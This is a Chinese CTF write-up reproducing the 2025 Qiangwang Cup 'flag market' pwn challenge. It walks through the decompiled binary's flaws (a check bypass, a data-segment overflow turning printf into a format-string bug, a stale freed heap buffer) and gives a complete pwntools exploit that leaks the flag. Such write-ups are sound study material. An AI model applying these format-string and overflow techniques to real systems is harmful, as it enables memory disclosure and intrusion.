2025强网杯线上赛部分pwn复现

flag market

信息

1
2
3
4
5
6
7
8
9
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/fm/bin$ checksec chall
[*] '/mnt/hgfs/VMware-share/fm/bin/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

64位 x86-64 动态链接

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+Ch] [rbp-84h]
int fd; // [rsp+14h] [rbp-7Ch]
FILE *stream; // [rsp+18h] [rbp-78h]
char filename[9]; // [rsp+27h] [rbp-69h] BYREF
char s[16]; // [rsp+30h] [rbp-60h] BYREF
char v9[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v10; // [rsp+88h] [rbp-8h]

v10 = __readfsqword(0x28u);
sub_401336();
strcpy(filename, "/flag");
stream = fopen(filename, "r");//这里打开后会创建一个堆存FILE
dword_40430C = 1;
while ( 1 )
{
while ( 1 )
{
puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
memset(s, 0, sizeof(s));
read(0, s, 0x10uLL);
if ( (unsigned __int8)atoi(s) != 1 )
exit(0);
puts("how much you want to pay?");
memset(s, 0, sizeof(s));
read(0, s, 0x10uLL);
if ( (unsigned __int8)atoi(s) == 0xFF ) //输入-1即可通过检查
break;
printf("You are so parsimonious!!!"); //可以被下面data段的溢出控制,也就有了格式化字符串漏洞
if ( dword_40430C )
{
fclose(stream);//fclose后会将堆free掉,作为缓冲区的堆也会free,而和top chunk合并,不过其中内容并没有清空,我们还可以利用
dword_40430C = 0;
}
}
puts(aThankYouForPay);
if ( !dword_40430C || !fgets(v9, 0x40, stream) )// 读flag到v9内,这里会另外创建一个堆,作为缓冲区,里面存了flag的内容
break;
for ( i = 0; ; ++i )
{
if ( i > 0x40 )
{
puts("\nThank you for your patronage!");
return 0LL;
}
if ( v9[i] == '{' ) // 遇到{即停止,无法输出完整flag
break;
putchar(v9[i]);
sleep(1u);
}
memset(v9, 0, 0x40uLL); // 清空栈上flag
puts(a1m31mError0mSo);
puts("opened user.log, please report:");
memset(oflag, 0, 0x100uLL);
__isoc99_scanf("%s", oflag); // 可以溢出到printf所在字符串
getchar();
fd = open("user.log", (int)oflag);
write(fd, oflag, 0x100uLL);
puts(aOkNowYouCanExi);
}
puts("something is wrong");
return 0LL;
}

利用

存在格式化字符串漏洞,那么我们就可以

  • 第一次输入价格时输入-1,通过检查,然后溢出data段,控制printf字符串为%9$p–%12$s,前者泄露堆地址,后者在后面泄露flag

12的位置上是

1762175050868

这里输入的

  • 然后第二次进入菜单后输入一个可以被 %s 解析的地址保证程序不会崩溃,这里选择输入 0x00000000004041C0,并且泄露出了 heap 地址,并且计算与 flag 之间的偏移

  • 第三次进入菜单时输入刚刚计算好的 flag 地址,即可被 %12s 解析从而输出flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r=process('./chall')
sla = lambda a,b : r.sendlineafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
irt = lambda : r.interactive()
sla("2.exit\n","1")
sla("pay?\n","-1")
payload=b'a'*0x100+b'%9$p--%12$s'
sla("report:\n",payload)

sla("2.exit\n","1")
sla("pay?\n",p64(0x00000000004041C0))
ru("0x")
heap_addr=int(r.recvuntil("a0"),16)-0xa0+0x280

sla("2.exit\n","1")
sla("pay?\n",p64(heap_addr))
irt()

bph


2025强网杯线上赛部分pwn复现
http://yyyffff.github.io/2025/10/30/2025强网杯线上赛部分pwn复现/
作者
yyyffff
发布于
2025年10月30日
许可协议